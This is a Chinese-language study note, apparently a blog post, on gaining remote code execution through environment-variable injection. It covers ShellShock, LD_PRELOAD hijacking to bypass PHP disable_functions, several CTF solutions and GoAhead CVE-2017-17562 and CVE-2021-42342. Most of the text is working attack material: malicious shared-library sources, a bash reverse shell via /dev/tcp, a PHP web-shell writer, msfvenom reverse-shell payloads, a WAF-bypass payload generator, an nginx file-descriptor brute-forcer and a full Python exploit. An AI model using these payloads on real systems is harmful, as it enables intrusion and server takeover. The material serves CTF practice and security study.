普通环境变量
ENV='$(id 1>&2)' dash -i -c 'echo hello'
BASH_ENV='$(id 1>&2)' bash -c 'echo hello'
ENV='$(id 1>&2)' sh -i -c "echo hello"
PROMPT_COMMAND='id' bash # 执行命令后给出交互shell debian无
env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello' # bash 4.4及以后
env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello" # bash 4.4以前
ShellShock / CVE-2014-6271
ShellShock漏洞回顾与分析测试 | 复现 - vulhub
应用于bash 4.3及以前
$ env TEST='() { :; };' id;
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
对于vulhub的环境,还可以在UA头注入
$ curl -H 'User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /usr/bin/id' http://127.0.0.1:8080/victim.cgi -i
对于当时的各大web服务来说影响相当广泛,只要是运行CGI相关服务的系统都存在被利用的可能(因为会在底层调用bash),比如
- 运行CGI脚本(通过mod_cgi 和 mod_cgid)的Apache HTTP 服务器;
- 某些DHCP客户端;
- 使用Bash的各种网络服务;
- 使用ForceCommand功能的 OpenSSH 服务器;
- 使用CGI作为网络接口的基于Linux的路由器;
- 使用bash的各种嵌入式设备。
- ……
LD_PRELOAD
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("ls / > /var/www/html/look");
// system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
// system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/ame.php");
}
$ gcc -fPIC -shared evil.c -o evil.so
$ msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp lhost=192.168.31.29 lport=8426 -f elf-so -o evil.so
加载恶意.so文件来劫持任意函数,常出现于bypass disable_functions和打redis中
当web服务提供了自定义环境变量的接口,也可以用它来rce
bypass disable_functions
浅谈几种Bypass disable_functions的方法
getuid
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
$ gcc -shared -fPIC test.c -o test.so
<?php
echo "<p> <b>example</b>: http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
url/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/test.so
原理是利用mail
触发sendmail
,再触发getuid
(已被我们的.so劫持),最后执行命令
preload
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
$ gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
url/test.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/test.so
这个属于格局打开,不局限于劫持某个函数,而是通过preload拦截启动进程
in CTF
[PlaidCTF 2021]
[pbCTF 2021]Advancement
wp | wp2 | HACKING WITH ENVIRONMENT VARIABLES Interesting environment variables to supply to scripting language interpreters
是GoAhead框架,在route.txt中增加cgi路由
route uri=/cgi-bin handler=cgi
route uri=/ redirect=/cgi-bin/date handler=redirect
以及/cgi-bin下的cgi脚本
#!/usr/bin/env python3
from datetime import date
print("Content-Type: text/plain")
print()
today = date.today()
print("Today's date:", today)
而由GoAhead的cve我们知道(但好像这个题在当时是day题 没有公开的cve-2021-42342 而这里用的就是这个),上传表单键值对可以写入环境变量中,我们选择在PYTHONWARNINGS环境变量引入其它模块,再通过antigravity模块对于browser环境变量启动响应的进程,配合perl+PERL5OPT环境变量进行rce(更多内容参见上面的文章
$ curl -F "PYTHONWARNINGS=all:0:antigravity.x:0:0" -F "BROWSER=perlthanks" -F 'PERL5OPT=-Mbase;print(system("cat".chr(0x20)."/flag"));exit;' http://advancement.chal.perfect.blue
————p牛在vulhub中给出的poc用的是LD_PRELOAD,但是由于这个题目的相关目录/etc/goahead/tmp是只读的,所以无法构造上传表单传.so
[湖湘杯2021 线下]MultistageAgency
有proxy和web两个web用户起的服务,server由root起
proxy在内网的8080端口,主要提供返回Secretkey
的功能
package main
import (
"github.com/elazarl/goproxy"
"io/ioutil"
"log"
"net/http"
"os"
)
func main() {
file, err := os.Open("secret/key") // 读取当前目录下的key
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey := string(content)
proxy := goproxy.NewProxyHttpServer()
proxy.Verbose = true
proxy.OnRequest().DoFunc(
func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {
r.Header.Set("Secretkey",SecretKey) // 返回包的请求头设置Secretkey
return r,nil
})
log.Print("start listen 8080")
log.Fatal(http.ListenAndServe(":8080", proxy))
}
9091端口server,有命令注入点/manage和一个waf,并且需要本地ip访问
package main
import (
"bytes"
"crypto/md5"
"fmt"
"io/ioutil"
"log"
"net/http"
"os"
"os/exec"
"unicode"
)
// 检查来源ip为本地才继续执行
var SecretKey = ""
func getToken(w http.ResponseWriter, r *http.Request) {
header := r.Header
token := "error"
var sks []string = header["Secretkey"]
sk := ""
if len(sks) == 1 {
sk = sks[0]
}
var fromHosts []string = header["Fromhost"]
fromHost := ""
if len(fromHosts) == 1 {
fromHost = fromHosts[0]
}
if fromHost != "" && sk != "" && sk == SecretKey {
data := []byte(sk + fromHost)
has := md5.Sum(data)
token = fmt.Sprintf("%x", has)
}
fmt.Fprintf(w, token)
}
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m") // get方式传入m参数
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m) // 删除uploads/{m}下所有内容
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd) // 命令注入点
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()
}
fmt.Fprintf(w, res)
}
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"} // 黑名单
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) { // 是否为字母
if t == s {
continue // 如果下一个字符ascii==上一个字符 则继续
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
func main() {
file, err := os.Open("secret/key")
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", getToken)
http.HandleFunc("/manage", manage)
log.Print("start listen 9091")
err = http.ListenAndServe(":9091", nil) // 监听端口 9091
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
web服务,对外访问
package main
import (
"bytes"
"crypto/md5"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"log"
"math/rand"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
)
var SecretKey = ""
type TokenResult struct {
Success string json:"success"
Failed string json:"failed"
}
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {
b := make([]byte, n)
for i := range b {
b[i] = letterBytes[rand.Intn(len(letterBytes))]
}
return string(b)
}
func getToken(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
fromHostList := strings.Split(r.RemoteAddr, ":") // 获取来源ip
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
r.Header.Set("Fromhost", fromHost)
command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091") // 本地curl访问9091
for k, _ := range values {
command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k))) //获取环境变量 将参数键值对形式设为环境变量
}
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
// res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
res := TokenResult{}
if err = command.Wait(); err != nil {
res.Failed = outerr.String()
}
res.Success = outinfo.String()
msg, _ := json.Marshal(res)
w.Write(msg)
}
type ListFileResult struct {
Files []string json:"files"
}
// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
token := values.Get("token")
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
// 验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token) // 带着token获取已经上传的文件
files, err := ioutil.ReadDir(dir)
if err == nil {
var fs []string
for _, f := range files {
fs = append(fs, f.Name())
}
msg, _ := json.Marshal(ListFileResult{Files: fs})
w.Write(msg)
}
}
}
type UploadFileResult struct {
Code string json:"code"
}
func uploadFile(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
fmt.Fprintf(w, "get")
} else {
values := r.URL.Query()
token := values.Get("token") // get方式传入token参数
fromHostList := strings.Split(r.RemoteAddr, ":")
fromHost := ""
if len(fromHostList) == 2 {
fromHost = fromHostList[0]
}
// 验证token
if token != "" && checkToken(token, fromHost) {
dir := filepath.Join("uploads",token) // 将获取到的token新建文件夹
if _, err := os.Stat(dir); err != nil {
os.MkdirAll(dir, 0766)
}
files, err := ioutil.ReadDir(dir)
if len(files) > 5 {
command := exec.Command("curl", "127.0.0.1:9091/manage") // 如果文件大于五个 则本地访问9091/manage删除所有文件
command.Start()
}
r.ParseMultipartForm(32 << 20)
file, _, err := r.FormFile("file")
if err != nil {
msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})
w.Write(msg)
return
}
defer file.Close()
fileName := RandStringBytes(5)
f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
msg, _ := json.Marshal(UploadFileResult{Code: fileName})
w.Write(msg)
} else {
msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})
w.Write(msg)
}
}
}
func checkToken(token, ip string) bool {
data := []byte(SecretKey + ip)
has := md5.Sum(data)
md5str := fmt.Sprintf("%x", has)
return md5str == token
}
func IndexHandler (w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r,"dist/index.html")
}
func main() {
file, err := os.Open("secret/key") // 读secret/key
if err != nil {
panic(err)
}
defer file.Close()
content, err := ioutil.ReadAll(file)
SecretKey = string(content)
http.HandleFunc("/", IndexHandler)
fs := http.FileServer(http.Dir("dist/static"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.HandleFunc("/token", getToken)
http.HandleFunc("/upload", uploadFile)
http.HandleFunc("/list", listFile)
log.Print("start listen 9090")
err = http.ListenAndServe(":9090", nil)
if err != nil {
log.Fatal("ListenAndServe: ", err)
}
}
所以我们需要SSRF访问9091端口的/manage 并且绕waf进行命令注入读flag
注意到web服务的/token路由可以设置环境变量,我们自然想到利用LD_PRELOAD和恶意.so来劫持系统函数进行rce
传文件,通过web的/token?http_proxy=http://127.0.0.1:8080
可以获得当前token(即上传目录
之后上传恶意.so
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}
$ gcc -shared -fPIC e.c -o e.so
在/token?LD_PRELOAD=/code/uploads/{token}&_evilcmd=ls%20-l%20/&http_proxy=127.0.0.1:8080
下进行注入,成功rce
之后弹个shell
最后,对于waf,用这个(之前也见过
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd):
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd):
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
print(build('cat /flag'))
curl "http://localhost:9091/manage?m=%3b{urlencode(payload)}"
[虎符CTF 2022]ezphp
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
oneline php,看到这个putenv再结合前面的栗子应该不陌生了就,结合Nginx上传临时文件 传.so
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/ame.php");
}
$ gcc -fPIC -shared evil.c -o evil.so
import threading, requests
URL2 = f'http://127.0.0.1:30002/index.php'
nginx_workers = [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
done = False
def uploader():
print('[+] starting uploader')
with open("exp.so","rb") as f:
data = f.read()
while not done:
requests.get(URL2, data=data)
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
try:
requests.get(URL2, params={
'env': f"LD_PRELOAD=/proc/{pid}/fd/{fd}"
})
except:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
Real World
GoAhead / CVE-2017-17562
GoAhead: 2.5 ~ 3.6.5
复现 - vulhub | REMOTE LD_PRELOAD EXPLOITATION GoAhead: Make My Day
GoAhead可以运行asp,js和标准的CGI程序,漏洞发生在运行CGI程序时
在收到请求后会从url参数中取出键值对并注册进CGI程序的环境变量,且只过滤了REMOTE_HOST
和HTTP_AUTHORIZATION
,而Linux下LD_
开头的环境变量和动态链接库有关,比如LD_PRELOAD
指定的动态链接库会自动加载,LD_LIBRARY_PATH
指定的路径,程序会去其中寻找动态链接库
我们可以指定LD_PRELOAD=/proc/self/fd/0
,因为/proc/self/fd/0
是标准输入,而CGI程序中,POST数据流即为标准输入流,我们发送.so给http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0
,CGI就会加载我们发送的动态链接库,造成RCE
测试一个hello world的.so
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
write(1, "Hello: World!\n", 14);
}
$ gcc -shared -fPIC hello.c -o hello.so
$ curl -X POST --data-binary @hello.so "url/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
成功作为响应头输出;尝试反弹shell
$ msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp lhost=192.168.31.29 lport=8426 -f elf-so -o p.so
$ curl -X POST --data-binary @p.so "http://192.168.31.214:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i
GoAhead / CVE-2021-42342
复现 - vulhub | GoAhead环境变量注入复现踩坑记
新的洞是对之前的一次绕过,补丁对用户传入参数进行了黑名单过滤,LD_PRELOAD
这类参数不再设置为环境变量,但由于这个限制使用错了函数,导致实际上并没有生效;补丁还将用户传入的参数名前面增加了前缀,导致无法劫持任意环境变量,但这个限制漏掉了multipart的POST包,所以攻击者通过这个方式仍然可以注入任意环境变量
注意,新版本的GoAhead默认没有开启CGI,而老版本如果没有cgi-bin目录,或者里面没有cgi文件,也不受这个漏洞影响
旧的洞是通过设置LD_PRELOAD=/proc/self/fd/0
同时将恶意.so作为body传入,做到rce的效果,而这里我们需要在body中发送,所以我们选择提前在服务器上上传.so,之后再把LD_PRELOAD
设置为这个文件的路径
与PHP一样,GoAhead在遇到上传内容时会存在临时文件,不过这里的坑在于临时文件的目录配置
#ifndef ME_GOAHEAD_UPLOAD_DIR
#define ME_GOAHEAD_UPLOAD_DIR "tmp"
#endif
PUBLIC void websUploadOpen(void)
{
uploadDir = ME_GOAHEAD_UPLOAD_DIR;
if (*uploadDir == '\0') {
#if ME_WIN_LIKE
uploadDir = getenv("TEMP");
#else
uploadDir = "/tmp";
#endif
}
trace(4, "Upload directory is %s", uploadDir);
websDefineHandler("upload", 0, uploadHandler, 0, 0);
}
如果宏ME_GOAHEAD_UPLOAD_DIR
没有定义,则uploadDir=/tmp
,而这个宏一定不为空,所以直接就是tmp
,这个相对目录取决于pwd,而pwd是GoAhead启动时--home
参数指定的,是存放配置文件的目录
如果--home /etc/goahead
,那临时文件默认在/etc/goahead/tmp
,如果这个目录不存在或者不可写,那么就会出现上传时500,一旦目标没有正常配置这个目录,就无法攻击(或者参见pbCTF2021 advancement的wp,使用python
这里直接修改Dockerfile来指定临时文件目录
make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'"
尝试hello world
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
$ gcc -shared -fPIC hello.c -o hello.so
$ curl -v -F data=@hello.so -F "LD_PRELOAD=/proc/self/fd/7" "url/cgi-bin/test" -i
查看日志报Too big错误
#ifndef ME_GOAHEAD_LIMIT_POST
#define ME_GOAHEAD_LIMIT_POST 16384
#endif
最大16384字节,我们在gcc时增加-s
参数来减小体积
$ gcc -s -shared -fPIC hello.c -o hello.so
$ curl -v -F data=@hello.so -F "LD_PRELOAD=/proc/self/fd/7" "http://192.168.31.214:8080/cgi-bin/test"
结果报404,fd/n这样的文件描述符对应的内容都无法打开,p牛猜测的可能是:CGI执行到这里时,被打开的临时文件描述符已经关闭,所以无法打开
照这样的推测,我们可以想到条件竞争,一个上传一个包含,或者是给.so文件后增加脏字符 但是CL头的长度小于最终数据包的大小,这样GoAhead读取数据包的时候能够完全读取到payload.so的内容,但实际这个文件并没有上传完毕
首先构造好之前那个无法利用的数据包,其中第一个表单字段是LD_PRELOAD
,值是文件描述符,一般是/proc/self/fd/7
,之后对之前的数据包.so末尾增加几千个字节的脏字符,比如说a
,之后将数据包的CL设置为不超过16384的值,但比payload.so文件的大小要大个500字节左右
由于上传流程没有结束,所以此时文件描述符是没有关闭的,可以通过/proc/self/fd/7
读取到,脏字符也不影响动态链接库的加载和运行,最后即可成功完成劫持
p牛已经写好了脚本
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
$ python3 poc.py http://target-ip:8080/cgi-bin/index /path/to/payload.so
成功劫持
————由于最近也学习了CL&TE头的相关内容,再看到这里的实现细节感觉还挺亲切的(说明自己学的实在太少了(
是学习笔记,有很多疏漏还请谅解(
一直不开学,在家几个月多少有点懈怠,但是时间不等人啊,不要荒废了自己